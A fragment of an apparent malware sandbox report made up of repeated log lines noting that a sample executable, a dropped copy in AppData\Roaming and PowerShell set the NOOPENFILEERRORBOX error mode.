Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\I5pvP0CU6M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VcihjWRO.exe	Process information set: NOOPENFILEERRORBOX
